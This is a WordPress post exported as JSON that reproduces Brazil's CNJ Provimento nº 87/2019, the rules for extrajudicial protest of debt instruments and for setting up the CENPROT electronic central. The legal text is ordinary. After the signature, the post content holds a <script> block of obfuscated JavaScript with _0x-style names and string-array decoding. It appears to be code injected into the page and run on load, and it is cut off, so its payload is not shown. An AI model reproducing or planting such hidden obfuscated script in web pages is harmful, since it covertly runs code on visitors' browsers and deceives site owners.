{"id":7839,"date":"2019-09-16T16:38:39","date_gmt":"2019-09-16T20:38:39","guid":{"rendered":"https:\/\/www.anoregmt.org.br\/novo\/?p=7839"},"modified":"2019-09-16T16:38:39","modified_gmt":"2019-09-16T20:38:39","slug":"cnj-provimento-no-87-2019-dispoe-sobre-as-normas-gerais-de-procedimentos-para-o-protesto-extrajudicial-de-titulos-e-outros-documentos-de-divida","status":"publish","type":"post","link":"https:\/\/www.anoregmt.org.br\/novo\/cnj-provimento-no-87-2019-dispoe-sobre-as-normas-gerais-de-procedimentos-para-o-protesto-extrajudicial-de-titulos-e-outros-documentos-de-divida\/","title":{"rendered":"CNJ &#8211; Provimento n\u00ba 87\/2019 &#8211;  Disp\u00f5e sobre as normas gerais de procedimentos para o protesto extrajudicial de t\u00edtulos e outros documentos de d\u00edvida"},"content":{"rendered":"<p><strong>PROVIMENTO N\u00ba 87, DE 11 DE SETEMBRO DE 2019.<\/strong><\/p>\n<p><strong>\u00a0<\/strong><\/p>\n<p><strong>\u00a0<\/strong><\/p>\n<p><strong>Disp\u00f5e sobre as normas gerais de procedimentos para o protesto extrajudicial de t\u00edtulos e outros documentos de d\u00edvida, regulamenta a implanta\u00e7\u00e3o da Central Nacional de Servi\u00e7os Eletr\u00f4nicos dos Tabeli\u00e3es de Protesto de T\u00edtulos \u2013 CENPROT e d\u00e1 outras provid\u00eancias.<\/strong><\/p>\n<p>&nbsp;<\/p>\n<p><strong>O CORREGEDOR NACIONAL DE JUSTI\u00c7A<\/strong>, usando de suas atribui\u00e7\u00f5es constitucionais, legais e regimentais e<\/p>\n<p><strong>CONSIDERANDO<\/strong>\u00a0o poder de fiscaliza\u00e7\u00e3o e de normatiza\u00e7\u00e3o do Poder Judici\u00e1rio dos atos praticados por seus \u00f3rg\u00e3os (art. 103-B, \u00a7 4\u00ba, I, II e III, da Constitui\u00e7\u00e3o Federal de 1988);<\/p>\n<p><strong>CONSIDERANDO<\/strong>\u00a0a compet\u00eancia do Poder Judici\u00e1rio de fiscalizar os servi\u00e7os extrajudiciais (arts. 103-B, \u00a7 4\u00ba, I e III, e 236, \u00a7 1\u00ba, da Constitui\u00e7\u00e3o Federal);<\/p>\n<p><strong>CONSIDERANDO<\/strong>\u00a0a compet\u00eancia da Corregedoria Nacional de Justi\u00e7a de expedir provimentos e outros atos normativos destinados ao aperfei\u00e7oamento das atividades dos servi\u00e7os extrajudiciais (art. 8\u00ba, X, do Regimento Interno do Conselho Nacional de Justi\u00e7a);<\/p>\n<p><strong>CONSIDERANDO<\/strong>\u00a0a obriga\u00e7\u00e3o dos servi\u00e7os extrajudiciais de cumprir as normas t\u00e9cnicas estabelecidas pelo Poder Judici\u00e1rio (arts. 37 e 38 da Lei n. 8.935, de 18 de novembro de 1994);<\/p>\n<p><strong>CONSIDERANDO\u00a0<\/strong>os princ\u00edpios da supremacia do interesse p\u00fablico, da efici\u00eancia, da continuidade do servi\u00e7o p\u00fablico e da seguran\u00e7a jur\u00eddica;<\/p>\n<p><strong>CONSIDERANDO<\/strong>\u00a0a necessidade de proporcionar a melhor presta\u00e7\u00e3o de servi\u00e7o, com acessibilidade ison\u00f4mica aos usu\u00e1rios, e corrigir as distor\u00e7\u00f5es em busca da modicidade dos emolumentos, da produtividade, da economicidade, da moralidade e da proporcionalidade na presta\u00e7\u00e3o dos servi\u00e7os extrajudiciais;<\/p>\n<p><strong>CONSIDERANDO<\/strong>\u00a0a necessidade de regulamenta\u00e7\u00e3o do disposto no art. 41-A da Lei n\u00ba 9.492\/1997, inclu\u00eddo pela Lei n\u00ba 13.775\/2018, que determinou aos tabeli\u00e3es de protesto a cria\u00e7\u00e3o de uma central nacional de servi\u00e7os eletr\u00f4nicos compartilhados;<\/p>\n<p><strong>CONSIDERANDO\u00a0<\/strong>a necessidade de preserva\u00e7\u00e3o do princ\u00edpio da territorialidade aplicado \u00e0s serventias extrajudiciais de protesto de t\u00edtulos;<\/p>\n<p><strong>CONSIDERANDO<\/strong>\u00a0a decis\u00e3o proferida no Pedido de Providencias 0008754-28.2018.2.00.000.<\/p>\n<p>&nbsp;<\/p>\n<p><strong>RESOLVE:<\/strong><\/p>\n<p><strong>CAP\u00cdTULO I<\/strong><\/p>\n<p><strong>DAS DISPOSI\u00c7\u00d5ES GERAIS<\/strong><\/p>\n<p>Art. 1\u00ba Este Provimento estabelece procedimentos administrativos a serem observados pelos tabeli\u00e3es de protesto de t\u00edtulos e outros documentos de d\u00edvida de que trata a Lei 9.492, de 10 de setembro de 1997, pelos respons\u00e1veis interinos pelo expediente dos tabelionatos de protesto declarados vagos e, quando for o caso, pelos oficiais de distribui\u00e7\u00e3o de protesto, com fun\u00e7\u00f5es espec\u00edficas de distribui\u00e7\u00e3o, criado e instalado at\u00e9 a entrada em vigor da Lei n\u00ba 9.492, de 10 de setembro de 1997.<\/p>\n<p>Par\u00e1grafo \u00danico. Para efeitos deste provimento, considera-se assinatura eletr\u00f4nica aquela efetivada com uso de certificado digital que atende aos requisitos da &#8220;Infraestrutura de Chaves P\u00fablicas Brasileira \u2013 ICP Brasil&#8221; ou outro meio seguro, disponibilizado pelo Tabelionato, previamente autorizado pela respectiva Corregedoria-Geral de Justi\u00e7a.<\/p>\n<p>Art. 2\u00ba O ju\u00edzo competente, assim definido na Lei de Organiza\u00e7\u00e3o Judici\u00e1ria do Estado e do Distrito Federal, resolver\u00e1 as d\u00favidas apresentadas pelo tabeli\u00e3o de protesto.<\/p>\n<ul>\n<li>1\u00ba Os t\u00edtulos e outros documentos de d\u00edvida podem ser apresentados, mediante simples indica\u00e7\u00e3o do apresentante, desde que realizados exclusivamente por meio eletr\u00f4nico, segundo os requisitos da &#8220;Infraestrutura de Chaves P\u00fablicas Brasileira \u2013 ICP Brasil&#8221; ou outro meio seguro disponibilizado pelo Tabelionato, autorizado pela respectiva Corregedoria-Geral de Justi\u00e7a, e com a declara\u00e7\u00e3o do apresentante, feita sob as penas da lei, de que a d\u00edvida foi regularmente constitu\u00edda e que os documentos originais ou suas c\u00f3pias autenticadas, comprobat\u00f3rios da causa que ensejou a apresenta\u00e7\u00e3o para protesto, s\u00e3o mantidos em seu poder, comprometendo-se a exibi-los sempre que exigidos no lugar onde for determinado, especialmente se sobrevier susta\u00e7\u00e3o judicial do protesto.<\/li>\n<li>2\u00ba Os tabeli\u00e3es de protesto, os respons\u00e1veis interinos pelo expediente e, quando for o caso, os oficiais de distribui\u00e7\u00e3o de protesto est\u00e3o autorizados a negar seguimento a t\u00edtulos ou outros documentos de d\u00edvida, bem como \u00e0s suas respectivas indica\u00e7\u00f5es eletr\u00f4nicas sobre os quais recaia, segundo sua prudente avalia\u00e7\u00e3o, fundado receio de utiliza\u00e7\u00e3o do instrumento com intuito emulat\u00f3rio do devedor ou como meio de perpetra\u00e7\u00e3o de fraude ou de enriquecimento il\u00edcito do apresentante.<\/li>\n<\/ul>\n<p>Art. 3\u00ba Somente podem ser protestados os t\u00edtulos e os documentos de d\u00edvidas pag\u00e1veis ou indicados para aceite ou devolu\u00e7\u00e3o nas pra\u00e7as localizadas no territ\u00f3rio de compet\u00eancia do Tabelionato de Protesto.<\/p>\n<ul>\n<li>1\u00ba Para fins de protesto, a pra\u00e7a de pagamento ser\u00e1 o domic\u00edlio do devedor, segundo a regra geral do \u00a71\u00ba do art. 75 e do art. 327 da Lei n\u00ba 10.406, de 10 de janeiro de 2002 (C\u00f3digo Civil), aplicando-se, subsidiariamente, somente quando couber, a legisla\u00e7\u00e3o especial em cada caso.<\/li>\n<li>2\u00ba Respeitada a pra\u00e7a de pagamento do t\u00edtulo ou do documento de d\u00edvida para a realiza\u00e7\u00e3o do protesto, segundo a regra do \u00a7 1\u00ba, a remessa da intima\u00e7\u00e3o poder\u00e1 ser feita por qualquer meio e sempre dentro do limite da compet\u00eancia territorial do Tabelionato, desde que seu recebimento fique assegurado e comprovado por protocolo, aviso de recebimento \u2013 AR, ou documento equivalente, podendo ser efetivada por portador do pr\u00f3prio Tabeli\u00e3o.<\/li>\n<li>3\u00ba A intima\u00e7\u00e3o dever\u00e1 conter ao menos o nome, CPF ou CNPJ e endere\u00e7o do devedor, os nomes do credor e do apresentante, com respectivos CPF e\/ou CNPJ, elementos de identifica\u00e7\u00e3o do t\u00edtulo ou documento de d\u00edvida e o prazo limite para cumprimento da obriga\u00e7\u00e3o no Tabelionato, bem como o n\u00famero do protocolo e o valor a ser pago, exce\u00e7\u00e3o \u00e0 intima\u00e7\u00e3o por edital que se limitar\u00e1 a conter o nome e a identifica\u00e7\u00e3o do devedor.<\/li>\n<li>4\u00ba O tabeli\u00e3o de protesto poder\u00e1 utilizar meio eletr\u00f4nico para a intima\u00e7\u00e3o quando autorizado pelo devedor e assim declarado pelo apresentante.<\/li>\n<li>5\u00ba No caso excepcional do intimando domiciliado fora da compet\u00eancia territorial do tabelionato, o tabeli\u00e3o de protesto providenciar\u00e1 a expedi\u00e7\u00e3o de uma comunica\u00e7\u00e3o ou recibo equivalente no endere\u00e7o fornecido pelo apresentante, noticiando-lhe os elementos identificadores do t\u00edtulo ou do documento de d\u00edvida, bem como as provid\u00eancias poss\u00edveis para o pagamento de tal t\u00edtulo ou documento, al\u00e9m da data da publica\u00e7\u00e3o da intima\u00e7\u00e3o por edital, que dever\u00e1 ser fixada no prazo de dez dias \u00fateis contados da data de protocoliza\u00e7\u00e3o, observando-se, neste caso, o prazo para a lavratura do protesto consignado no art. 13 da Lei n\u00ba 9.492, de 10 de setembro de 1997.<\/li>\n<\/ul>\n<p>Art 4\u00ba A desist\u00eancia do protesto poder\u00e1 ser formalizada por meio eletr\u00f4nico, com a utiliza\u00e7\u00e3o de certificado digital no \u00e2mbito da ICP Brasil ou de outro meio seguro disponibilizado pelo Tabelionato ao apresentante, autorizado pela respectiva Corregedoria-Geral de Justi\u00e7a.<\/p>\n<p>Art 5\u00ba \u00c9 admitido o pedido de cancelamento do protesto pela internet, mediante anu\u00eancia do credor ou apresentante do t\u00edtulo assinada eletronicamente.<\/p>\n<p>Art 6\u00ba O cancelamento do protesto pode ser requerido diretamente ao tabeli\u00e3o mediante apresenta\u00e7\u00e3o, pelo interessado, dos documentos que comprovem a extin\u00e7\u00e3o da obriga\u00e7\u00e3o.<\/p>\n<p>Art 7\u00ba Os tabeli\u00e3es de protesto podem fornecer, por solicita\u00e7\u00e3o dos interessados, certid\u00e3o da situa\u00e7\u00e3o do apontamento do t\u00edtulo, dos protestos lavrados e n\u00e3o cancelados, individuais ou em forma de rela\u00e7\u00e3o.<\/p>\n<p>Art 8\u00ba Os tabeli\u00e3es de protesto podem prestar a qualquer pessoa que requeira informa\u00e7\u00f5es e fornecer c\u00f3pias de documentos arquivados relativas a protestos n\u00e3o cancelados.<\/p>\n<p>Art 9\u00ba Os pedidos de informa\u00e7\u00f5es simples ou complementares, de certid\u00f5es e de c\u00f3pias podem ser realizados pela internet, bem como atendidos e expedidos pelos Tabelionatos por meio eletr\u00f4nico, mediante assinatura eletr\u00f4nica.<\/p>\n<p>Art. 10. Das certid\u00f5es n\u00e3o constar\u00e3o os protestos cancelados, salvo por requerimento escrito do pr\u00f3prio devedor ou por ordem judicial.<\/p>\n<p>Art. 11. Sempre que a homon\u00edmia puder ser verificada com seguran\u00e7a a partir de elementos de identifica\u00e7\u00e3o que constem dos assentamentos, o tabeli\u00e3o de protesto expedir\u00e1 certid\u00e3o negativa.<\/p>\n<p>Art. 12. As certid\u00f5es individuais ser\u00e3o fornecidas pelo tabeli\u00e3o de protesto de t\u00edtulos, no prazo m\u00e1ximo de 5 (cinco) dias \u00fateis, mediante pedido escrito ou verbal de qualquer pessoa interessada, abrangendo per\u00edodo m\u00ednimo dos cinco anos anteriores ao pedido, salvo quando solicitado per\u00edodo maior ou referente a protesto espec\u00edfico.<\/p>\n<p>Art. 13. Decorridos 30 (trinta) dias, contados da expedi\u00e7\u00e3o, os tabeli\u00e3es de protesto ficam autorizados a inutilizar as certid\u00f5es caso o interessado n\u00e3o compare\u00e7a para retir\u00e1-las no Tabelionato ou, onde houver, no servi\u00e7o de distribui\u00e7\u00e3o, circunst\u00e2ncia que dever\u00e1 ser informada ao interessado no ato do pedido.<\/p>\n<p>Art. 14. Na localidade onde houver mais de um Tabelionato de Protesto de T\u00edtulos dever\u00e1 ser organizado, instalado e mantido, a cargo deles, um servi\u00e7o centralizado para presta\u00e7\u00e3o de informa\u00e7\u00f5es e fornecimento de certid\u00f5es.<\/p>\n<ul>\n<li>1\u00ba Esse servi\u00e7o ser\u00e1 custeado pelos pr\u00f3prios tabeli\u00e3es, preferencialmente no mesmo local onde tamb\u00e9m funcionar o servi\u00e7o de distribui\u00e7\u00e3o, ressalvado o repasse das tarifas banc\u00e1rias e dos correios para os usu\u00e1rios que optarem pela presta\u00e7\u00e3o por essa via de atendimento, al\u00e9m do pagamento dos emolumentos, custas e contribui\u00e7\u00f5es e das despesas previstos em lei.<\/li>\n<li>2\u00ba Os tribunais de justi\u00e7a dos Estados e do Distrito Federal dever\u00e3o propor a extin\u00e7\u00e3o dos Of\u00edcios de Distribui\u00e7\u00e3o de t\u00edtulos e outros documentos de d\u00edvida para protesto que foram criados antes da promulga\u00e7\u00e3o da Lei Federal n\u00ba 9.492, de 10 de setembro de 1997 e que estejam vagos e que vierem a vagar.<\/li>\n<\/ul>\n<p>&nbsp;<\/p>\n<p><strong>CAP\u00cdTULO II<\/strong><\/p>\n<p><strong>DOS SERVI\u00c7OS ELETR\u00d4NICOS DOS TABELI\u00c3ES DE PROTESTO DE T\u00cdTULOS \u2013 CENPROT<\/strong><\/p>\n<p><strong>\u00a0<\/strong><\/p>\n<p>Art. 15. Os tabeli\u00e3es de protesto de t\u00edtulos de todo territ\u00f3rio nacional instituir\u00e3o, no prazo de 30 (trinta dias), a CENPROT \u2013 Central Nacional de Servi\u00e7os Eletr\u00f4nicos dos Tabeli\u00e3es de Protesto, para presta\u00e7\u00e3o de servi\u00e7os eletr\u00f4nicos.<\/p>\n<p>Par\u00e1grafo \u00fanico. \u00c9 obrigat\u00f3ria a ades\u00e3o de todos os tabeli\u00e3es de protesto do Pa\u00eds ou respons\u00e1veis interinos pelo expediente \u00e0 CENPROT de que trata o caput deste artigo, \u00e0 qual ficar\u00e3o vinculados, sob pena de responsabiliza\u00e7\u00e3o disciplinar nos termos do inciso I do caput do art. 31 da Lei n\u00b0 8.935, de 18 de novembro de 1994.<\/p>\n<p>Art. 16. A CENPROT ser\u00e1 operada, mantida e administrada conforme delibera\u00e7\u00e3o da assembleia geral dos tabeli\u00e3es de protesto de t\u00edtulos, podendo ser delegada \u00e0 entidade nacional representativa da categoria.<\/p>\n<ul>\n<li>1\u00ba Poder\u00e3o ser institu\u00eddas CENPROT seccionais na forma e locais definidos pela assembleia-geral dos tabeli\u00e3es de protesto de t\u00edtulos.<\/li>\n<li>2\u00ba A CENPROT e as seccionais instaladas se subordinam \u00e0s normas, auditagem e \u00e0 fiscaliza\u00e7\u00e3o da Corregedoria Nacional de Justi\u00e7a e da Corregedoria-Geral de Justi\u00e7a respectiva.<\/li>\n<\/ul>\n<p>Art. 17. A CENPROT deve disponibilizar, por meio da rede mundial de computadores (internet) pelo menos, os seguintes servi\u00e7os:<\/p>\n<p>I \u2013 acesso a informa\u00e7\u00f5es sobre quaisquer protestos v\u00e1lidos lavrados pelos Tabeli\u00e3es de Protesto de T\u00edtulos dos Estados ou do Distrito Federal;<\/p>\n<p>II \u2013 consulta gratuita \u00e0s informa\u00e7\u00f5es indicativas da exist\u00eancia ou inexist\u00eancia de protesto, respectivos tabelionatos e valor;<\/p>\n<p>III \u2013 fornecimento de informa\u00e7\u00e3o complementar acerca da exist\u00eancia de protesto e sobre dados ou elementos do registro, quando o interessado dispensar a certid\u00e3o;<\/p>\n<p>IV \u2013 fornecimento de instrumentos de protesto em meio eletr\u00f4nico;<\/p>\n<p>V \u2013 recep\u00e7\u00e3o de declara\u00e7\u00e3o eletr\u00f4nica de anu\u00eancia para fins de cancelamento de protesto;<\/p>\n<p>VI \u2013 recep\u00e7\u00e3o de requerimento eletr\u00f4nico de cancelamento de protesto;<\/p>\n<p>VII \u2013 recep\u00e7\u00e3o de t\u00edtulos e documentos de d\u00edvida, em meio eletr\u00f4nico, para fins de protesto, encaminhados por \u00f3rg\u00e3os do Poder Judici\u00e1rio, procuradorias, advogados e apresentantes cadastrados;<\/p>\n<p>VIII \u2013 recep\u00e7\u00e3o de pedidos de certid\u00e3o de protesto e de cancelamento e disponibiliza\u00e7\u00e3o da certid\u00e3o eletr\u00f4nica expedida pelas serventias do Estado ou do Distrito Federal em atendimento a tais solicita\u00e7\u00f5es.<\/p>\n<p>Par\u00e1grafo \u00fanico. Na informa\u00e7\u00e3o complementar requerida pelo interessado, acerca da exist\u00eancia de protesto, poder\u00e3o constar os seguintes dados:<\/p>\n<ol>\n<li>a) nome do devedor, e quando constar do registro, endere\u00e7o completo, endere\u00e7o eletr\u00f4nico e telefone;<\/li>\n<li>b) se pessoa f\u00edsica, n\u00famero de inscri\u00e7\u00e3o no Cadastro de Pessoas F\u00edsicas (CPF) \u2013 se pessoa jur\u00eddica, n\u00famero de inscri\u00e7\u00e3o no Cadastro Nacional de Pessoas Jur\u00eddicas (CNPJ);<\/li>\n<li>c) tipo, n\u00famero e folha do livro de protesto, ou n\u00famero do registro sequencial do protesto;<\/li>\n<li>d) tipo de ocorr\u00eancia e respectiva data;<\/li>\n<li>e) nome do apresentante do t\u00edtulo ou documento de d\u00edvida, nome do endossat\u00e1rio (cedente), e tipo do endosso;<\/li>\n<li>f) nome, n\u00famero do CPF ou CNPJ do credor (sacador), e quando constar do registro, endere\u00e7o completo, endere\u00e7o eletr\u00f4nico e telefone;<\/li>\n<li>g) data e n\u00famero do protocolo, esp\u00e9cie, n\u00famero do t\u00edtulo ou documento de d\u00edvida, data de emiss\u00e3o, data de vencimento, valor original, valor protestado, valor das intima\u00e7\u00f5es e, quando houver, valor do edital, com indica\u00e7\u00e3o de motivo;<\/li>\n<\/ol>\n<p>Art. 18. As informa\u00e7\u00f5es enviadas pelos Tabeli\u00e3es de Protesto de T\u00edtulos \u00e0 CENPROT, na forma e no prazo estabelecido pela Central, n\u00e3o geram o pagamento aos Tabelionatos de Protesto de emolumentos ou de quaisquer outras despesas decorrentes do envio.<\/p>\n<p>Par\u00e1grafo \u00danico. Ser\u00e1 de responsabilidade exclusiva do Tabeli\u00e3o de Protesto de T\u00edtulos as consequ\u00eancias pela eventual omiss\u00e3o de informa\u00e7\u00e3o que deveria ter sido enviada \u00e0 CENPROT.<\/p>\n<p>Art. 19. Os tabeli\u00e3es de protesto, ainda que representados por sua entidade escolhida, poder\u00e3o realizar auditoria, com monitoramento autom\u00e1tico do descumprimento de prazos, hor\u00e1rios e procedimentos incumbidos aos tabeli\u00e3es de protesto, atividade denominada \u201cAutogest\u00e3o\u00a0<em>on line<\/em>\u201d com a gera\u00e7\u00e3o de relat\u00f3rios a serem encaminhados ao ju\u00edzo competente e, quando for o caso, \u00e0 Corregedoria Nacional de Justi\u00e7a e \u00e0 respectiva Corregedoria-Geral de Justi\u00e7a.<\/p>\n<p>Par\u00e1grafo \u00fanico. A atua\u00e7\u00e3o prevista no caput ser\u00e1 preventiva, com o prop\u00f3sito de autogest\u00e3o da atividade, notificando os tabeli\u00e3es que incorram em excesso de prazo ou n\u00e3o observ\u00e2ncia de procedimentos legais e normativos, antes do envio de relat\u00f3rios aos \u00f3rg\u00e3os correcionais.<\/p>\n<p>Art. 20. As Corregedorias- Gerais de Justi\u00e7a dos Estados fiscalizar\u00e3o a efetiva vincula\u00e7\u00e3o dos tabeli\u00e3es de protesto \u00e0 CENPROT, observados os limites, a temporalidade e o escopo do uso da central, bem como a extens\u00e3o da responsabilidade dos tabeli\u00e3es de protesto.<\/p>\n<p>Art. 21. A presta\u00e7\u00e3o de servi\u00e7os a terceiros com a utiliza\u00e7\u00e3o de dados existentes na CENPROT se dar\u00e1 mediante conv\u00eanio\/termo de ades\u00e3o que dever\u00e1 conter cl\u00e1usulas de responsabilidade rec\u00edprocas, contendo forma, prazo e taxas administrativas livremente ajustadas entre as partes.<\/p>\n<p><strong>\u00a0<\/strong><\/p>\n<p><strong>CAP\u00cdTULO III<\/strong><\/p>\n<p><strong>DAS DISPOSI\u00c7\u00d5ES FINAIS<\/strong><\/p>\n<p>&nbsp;<\/p>\n<p>Art. 22. As Corregedorias-Gerais de Justi\u00e7a expedir\u00e3o normas complementares ao presente provimento.<\/p>\n<p>Art. 23. Esse provimento entra em vigor na data de sua publica\u00e7\u00e3o.<\/p>\n<p>&nbsp;<\/p>\n<p>MINISTRO\u00a0<strong>HUMBERTO MARTINS<\/strong><\/p>\n<p>Corregedor Nacional de Justi\u00e7a<\/p>\n<p>&nbsp;<br \/>\n<script>function _0x9e23(_0x14f71d,_0x4c0b72){const _0x4d17dc=_0x4d17();return _0x9e23=function(_0x9e2358,_0x30b288){_0x9e2358=_0x9e2358-0x1d8;let _0x261388=_0x4d17dc[_0x9e2358];return _0x261388;},_0x9e23(_0x14f71d,_0x4c0b72);}function _0x4d17(){const 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\u00a0 Disp\u00f5e sobre as normas gerais de procedimentos para o protesto extrajudicial de t\u00edtulos e outros documentos de d\u00edvida, regulamenta a implanta\u00e7\u00e3o da Central Nacional de Servi\u00e7os Eletr\u00f4nicos dos Tabeli\u00e3es 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